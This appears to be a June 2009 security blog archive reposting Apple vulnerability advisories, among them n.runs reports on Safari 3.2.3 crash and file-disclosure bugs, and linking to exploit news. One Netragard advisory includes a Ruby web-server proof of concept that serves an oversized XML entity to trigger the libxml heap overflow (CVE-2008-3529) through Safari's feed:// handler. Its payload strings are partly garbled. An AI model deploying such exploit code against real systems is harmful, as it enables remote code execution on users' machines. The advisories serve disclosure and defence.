Monthly Archives: June 2009

Apple Safari 3.23 Vulnerability – Null pointer dereference

0
Filed under Exploits, News, Vulnerabilities
Tagged as , , , , ,

n.runs AG
http://www.nruns.com/ security(at)nruns.com
n.runs-SA-2009.006 23-Jun-2009
______________________________________________________________________________________________________________

Vendor: Apple Inc., http://www.apple.com
Affected Products: Safari Browser 3.2.3 all platforms
Vulnerability: Null pointer dereference lead to DoS
Risk: MEDIUM
______________________________________________________________________________________________________________

Vendor communication:

2009/06/07 Bug found
2009/06/08 Preparing PoC’s and problem description for three bug classes (n.runs-SA-2009.004 – n.runs-SA-2009.006); writing initial email
2009/06/08 Apple releases Safari 4.0 [1]
2009/06/09 Sending initial email in midnight hour (UTC/GMT +2 hours)
2009/06/09 Bot reply mail delivered; received Follow-Up ID
2009/06/09 Due to a press release n.runs is now aware of new release; testing three PoC’s; two of them seems to be fixed
2009/06/10 Apple replies and outlining “to take any report of a potential security issue very seriously.” Asking for PoC’s
2009/06/10 Sending all PoC’s with further description and outlining at the time of writing the initial email, n.runs was aware of new Safari release. Two PoC’s (n.runs-SA-2009.005 and n.runs-SA-2009.006) are not working with new Safari release but asking to have a closer look into it.
2009/06/11 Apple response two PoC’s are not working on the latest release, so Apple don’t see the need for any further action. With regards to n.runs-SA-2009.004, Apple acknowledge the issue still affects Safari 4 and is looking to fix it.
2009/06/15 n.runs informs Apple to release this advisory due to time difference
2009/06/23 n.runs releases this advisory

_______________________________________________________________________

Overview:

Quoting http://www.apple.com/safari/:
“What is Safari ?
It’s a browser. It’s a platform. It’s an open invitation to innovate. Whether on a Mac, PC, iPhone, or iPod touch, Safari continuously redefines the browser, providing the most enjoyable way to experience the Internet.”

Description:

A Null Class Pointer Dereference in CoreFoundation.dll has been found while parsing a URL fragment with a high-bit character in a common protocol handler.

In detail, the following flaw was determined:

- Safari crashes in method CFCharacterSetInitInlineBuffer because the first passed pointer argument (stored in ecx) was not sanized. Hence dereferencing a null pointer Sarafi will crash.

Excerpt from stack trace:
CoreFoundation!CFCharacterSetInitInlineBuffer+0×357
CoreFoundation!CFURLCopyFileSystemPath+0xf3
CoreFoundation!CFURLGetWideFileSystemRepresentation+0×23
CFNetwork!CFHTTPMessageSendRequest+0x6e4
CFNetwork!CFHTTPMessageSendRequest+0x96e
CFNetwork!CFHTTPMessageSendRequest+0xad2
CFNetwork!CFURLConnectionSendSynchronousRequest+0x8d7
CFNetwork!CFStreamErrorFromCFError+0x9a0
ntdll!RtlpAllocateFromHeapLookaside+0×42
ntdll!RtlAllocateHeap+0x1c2

Impact

An attacker could trigger the vulnerability by constructing a specially prepared website. When a user views the web page an unexpected application termination occurs.
Kindly note: Whether this circumstance leads to an exploitable condition was not closer investigated.

Solution:

Apple has issued an update to correct this vulnerability. For detailed information about the fixes follow the link in References [1] section of this document.

_______________________________________________________________________

Credit:
Bugs found by Alexios Fakos of n.runs AG.
_______________________________________________________________________

References:
[1] http://support.apple.com/kb/HT3613

This Advisory and Upcoming Advisories:
http://www.nruns.com/security_advisory.php

< Safari 3.2.3 Arbitrary Code Execution + PoC

0
Filed under Exploits, News, Vulnerabilities
Tagged as , , , , , ,

Advisory Author : Adriel T. Desautels
Researcher : Kevin Finisterre
Advisory ID : NETRAGARD-20090622
Product Name : Mac OS X Publication Subscription
Product Version : < Safari 3.2.3
Vendor Name : http://www.apple.com
Type of Vulnerability : Buffer Overflow
Impact : Arbitrary Code Execution
Vendor Notified : Yes
Patch Released : APPLE-SA-2009-05-12
Discovery Date : 08/2008
______________________________________________________________________________________________________________

http://www.netragard.com

[Product Description]
—————————————————————————————————
Now your favorite web browser is also the fastest on any platform. With page load speeds that outperform every other major browser on the Mac or PC, Safari also introduces a few new features to the mix.

Thanks to the built-in RSS reader in Safari, you can scan the latest news, information, and articles from thousands of websites in one simple-to-read, searchable article list that Safari assembles for you. The first browser to feature a built-in RSS reader, Safari is the ideal way to browse the entire web without using a second application.

Introduced in Mac OS X v10.5, Publication Subscription is a technology that offers developers a way to subscribe to web feeds from their applications. Web feeds are documents that contain frequently updated information. You can use Publication Subscription to allow your applications to subscribe to podcasts, photocasts, and any other feed-based document. Publication Subscription handles all the feed downloads and updates automatically. Publication Subscription technologies make use of libxml2 in order to parse RSS data.

Libxml2 is the XML C parser and toolkit developed for the Gnome project (but usable outside of Gnome), it is free software available under the MIT License. XML itself is a metalanguage used to design markup languages, i.e. text language where semantic and structure are added to the content using extra “markup” information enclosed between angle brackets.

[Technical Summary]
—————————————————————————————————
“The ‘libxml’ library is prone to a heap-based buffer-overflow vulnerability because the software fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary within the context of an application using the affected library. Failed exploit attempts will result in a denial-of-service vulnerability.”

http://www.securityfocus.com/bid/31126

Safari uses the vulnerable libxml library and can be attacked via the feed:// input vector.

[Technical Details]
—————————————————————————————————-
Libxml2 is vulnerable to a heap-based buffer overflow, caused by improper bounds checking in the xmlParseAttValueComplex() function. By parsing exceedingly long XML entity names using Libxml2, a remote attacker can overflow a buffer and execute arbitrary code on the system. If code execution fails a Denial of Service condition may happen.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3529

https://bugzilla.redhat.com/show_bug.cgi?id=461015
http://rhn.redhat.com/errata/RHBA-2008-0878.html
https://bugzilla.redhat.com/show_bug.cgi?id=460396

[Proof Of Concept]
—————————————————————————————————
The following testcases allowed for the creation of the below PoC

https://bugzilla.redhat.com/attachment.cgi?id=315476
https://bugzilla.redhat.com/attachment.cgi?id=315477
https://bugzilla.redhat.com/attachment.cgi?id=315478
https://bugzilla.redhat.com/attachment.cgi?id=315479
https://bugzilla.redhat.com/attachment.cgi?id=315480
https://bugzilla.redhat.com/attachment.cgi?id=315481
https://bugzilla.redhat.com/attachment.cgi?id=315482

#!/usr/bin/ruby
#
# The application PubSubAgent quit unexpectedly.
#
# Process: PubSubAgent [3764]
# Path: /System/Library/Frameworks/PubSub.framework/Versions/A/Resources/PubSubAgent.app/Contents/MacOS/PubSubAgent
# Identifier: PubSubAgent
# Version: ??? (???)
# Code Type: X86 (Native)
# Parent Process: launchd [282]
#
# Date/Time: 2008-10-31 15:31:41.355 -0400
# OS Version: Mac OS X 10.5.5 (9F33)
# Report Version: 6
#
# Exception Type: EXC_BAD_ACCESS (SIGSEGV)
# Exception Codes: KERN_INVALID_ADDRESS at 0×0000000005050500
#
# Thread 0 crashed with X86 Thread State (32-bit):
# eax: 0×41414141 ebx: 0×94580535 ecx: 0×00136150 edx: 0×05050500
# edi: 0×00007000 esi: 0×00100000 ebp: 0xbfffe298 esp: 0xbfffe220
# ss: 0x0000001f efl: 0×00010206 eip: 0×94580605 cs: 0×00000017
# ds: 0x0000001f es: 0x0000001f fs: 0×00000000 gs: 0×00000037
# cr2: 0×05050500

require ‘webrick’
include WEBrick

XML_LOVE =
‘ + “\n” +
‘ '‘ + “\n” +
"A" * 1000 + " " +
'"ha"> ]>’ + “\n” +
';">text‘ + “\n”

REDIR_LOVE =

s = HTTPServer.new( :P ort => 80 )

class REDIRECT < HTTPServlet::AbstractServlet
def do_GET(req, res)
res.body = REDIR_LOVE
res['Content-Type'] = "text/html"
end
end

class XMLLOVER < HTTPServlet::AbstractServlet
def do_GET(req, res)
res.body = XML_LOVE
res['Content-Type'] = "text/xml"
end
end

s.mount("/", REDIRECT)
s.mount("/pwn", XMLLOVER)

trap("INT"){ s.shutdown }
s.start

[Fix]
---------------------------------------------------------------------------------------------------
https://bugzilla.redhat.com/attachment.cgi?id=315291
http://lists.apple.com/archives/security-announce/2009/May/msg00000.html

[Vendor Status]
—————————————————————————————————
Vendor Notified

[Vendor Comments]
—————————————————————————————————
Safari 3.2.3 is now available and addresses the following:

libxml
CVE-ID: CVE-2008-3529
Available for: Mac OS X v10.4.11, Mac OS X Server v10.4.11, Mac OS X v10.5.7, Mac OS X Server v10.5.7, Windows XP or Vista
Impact: Visiting a maliciously crafted website may lead to an unexpected application termination or arbitrary code execution
Description: A heap buffer overflow exists in libxml’s handling of long entity names. Visiting a maliciously crafted website may lead to an unexpected application termination or arbitrary code execution. This update addresses the issue through improved bounds checking. Safari 3.2.3 is included in the Mac OS X v10.5.7 update. Safari 3.2.3 on Mac OS X requires either Mac OS X v10.5.7, or Mac OS X v10.4.11 with Security Update 2009-002 installed.

Apple Safari 3.23 Vulnerability – Information disclosure

0
Filed under Exploits, News, Vulnerabilities
Tagged as , , , ,

n.runs AG
http://www.nruns.com security(at)nruns.com
n.runs-SA-2009.005 23-Jun-2009
_____________________________________________________________________________________________________________

Vendor: Apple Inc., http://www.apple.com
Affected Products: Safari Browser 3.2.3 all platforms
Vulnerability: Information disclosure to Denial of Service
Risk: MEDIUM
_____________________________________________________________________________________________________________

Vendor communication:

2009/06/07 Bug found
2009/06/08 Preparing PoC’s and problem description for three bug classes (n.runs-SA-2009.004 – n.runs-SA-2009.006); writing initial email
2009/06/08 Apple releases Safari 4.0 [1]
2009/06/09 Sending initial email in midnight hour (UTC/GMT +2 hours)
2009/06/09 Bot reply mail delivered; received Follow-Up ID
2009/06/09 Due to a press release n.runs is now aware of new release; testing three PoC’s; two of them seems to be fixed
2009/06/10 Apple replies and outlining “to take any report of a potential security issue very seriously.” Asking for PoC’s
2009/06/10 Sending all PoC’s with further description and outlining at the time of writing the initial email, n.runs was aware of new Safari release. Two PoC’s (n.runs-SA-2009.005 and n.runs-SA-2009.006) are not working with new Safari release but asking to have a closer look into it.
2009/06/11 Apple response two PoC’s are not working on the latest release, so Apple don’t see the need for any further action. With regards to n.runs-SA-2009.004, Apple acknowledge the issue still affects Safari 4 and is looking to fix it.
2009/06/15 n.runs informs Apple to release this advisory due to time difference
2009/06/23 n.runs releases this advisory
_______________________________________________________________________

Overview:

Quoting http://www.apple.com/safari/:
“What is Safari ? It’s a browser. It’s a platform. It’s an open invitation to innovate. Whether on a Mac, PC, iPhone, or iPod touch, Safari continuously redefines the browser, providing the most enjoyable way to experience the Internet.”

Description:

Passing the file protocol handler to a certain HTML allows to read local files. On Windows it is possible to create an instance of Windows Explorer by calling an executable file. Other operating systems were not tested.

In detail, the following flaw was determined:

- Safari fails to sanitize the file protocol handler thus leading to an information disclosure, e.g. local file theft. Creating dynamically a certain HTML tag and using a valid file path to an executable may lead to a Denial of Service condition.

Impact

An attacker could trigger the vulnerability by constructing a specially prepared html file. When a user views this file, local content can be send to a third party. Additionaly, various ghost instances of Window Explorer may harm the stability of the users system.

Solution:

Apple has issued an update to correct this vulnerability. For detailed information about the fixes follow the link in References [1] section of this document.

_______________________________________________________________________

Credit: Bugs found by Alexios Fakos of n.runs AG.
_______________________________________________________________________

References:
[1] http://support.apple.com/kb/HT3613

This Advisory and Upcoming Advisories:
http://www.nruns.com/security_advisory.php

iPhone OS 2.1 Safari phone-auto-dial vulnerability

0
Filed under Exploits, News, Vulnerabilities
Tagged as , , , , ,

http://www.mulliner.org/security/advisories/iphone_safari_phone-auto-dial_vulnerability_advisory.txt

Video of vulnerability

Runtime binary loading via the dynamic loader on Apple Mac OS X

0
Filed under Exploits, News, Vulnerabilities
Tagged as , , , , ,

Interesting Subreption article on leveraging dyld to load and execute your own binary.

APPLE-SA-2009-06-17-1 iPhone OS 3.0 Software Update

0
Filed under Apple Updates, News
Tagged as , , , , ,

Multiple bugs fixed in thenew iPhone OS 3.0 software. About the security content of iPhone OS 3.0 Software Update

Apple security updates

Unsigned iPhone code exploit

0
Filed under Exploits, News, Vulnerabilities
Tagged as , , , , , ,

Two researchers have found a way to run unauthorized code on an iPhone remotely. This is different than ‘jailbreaking,’ which requires physical access to the device. Normally applications have to be signed cryptographically by Apple in order to run. But Charles Miller of Independent Security Evaluators and Vincenzo Iozzo from the University of Milan found more than one instance in which Apple failed to prevent unauthorized data from executing. This means that a program can be loaded into memory as a non-executable block of data, after which the attacker can essentially flip a programmatic switch and make the data executable. The trick is significant, say Miller and Iozzo, because it provides a way to do something on a device after making use of a remote exploit. Details will be presented next month at the Black Hat Conference in Las Vegas.”

ars technica arcticle

Apple Java CColorUIResource Pointer Dereference Code Execution Vulnerability

0
Filed under Vulnerabilities
Tagged as , , , ,

ZDI vulnerability report fixed in yesterdays Java update.

Black Hat webcast – Dino Dai Zovi on Advanced Mac OS X Rootkits

0
Filed under Exploits, News
Tagged as , , , , , ,

The Mac OS X kernel (xnu) is a hybrid BSD and Mach kernel. While Unix-oriented rootkit techniques are pretty well known, Mach-based rootkit techniques have not been as thoroughly publicly explored. This presentation will cover a variety of rootkit techniques for both user-space and kernel-space rootkits using unique and poorly understood or documented Mac OS X and Mach features.

Date: Thursday, June 18, 2009
Time: 1:00 pm PT/4:00 pm ET
Duration: 60 minutes (plus Q&A)

Event Registration

Apple QuickTime CRGN Atom stack overflow exploit that creates a malicious .mov file.

0
Filed under Exploits, News, Vulnerabilities
Tagged as , , , ,

http://packetstormsecurity.org/0906-exploits/appleqtcrgn-overflow.txt

Apple Safari Remote code execution (CSS:Attr)

0
Filed under News, Vulnerabilities
Tagged as , , , ,

http://blog.zoller.lu/2009/05/advisory-apple-safari-remote-code.html

Apple Safari & Quicktime Denial of Service

0
Filed under News, Vulnerabilities
Tagged as , ,

http://blog.zoller.lu/2009/05/advisory-apple-safari-quicktime-dos.html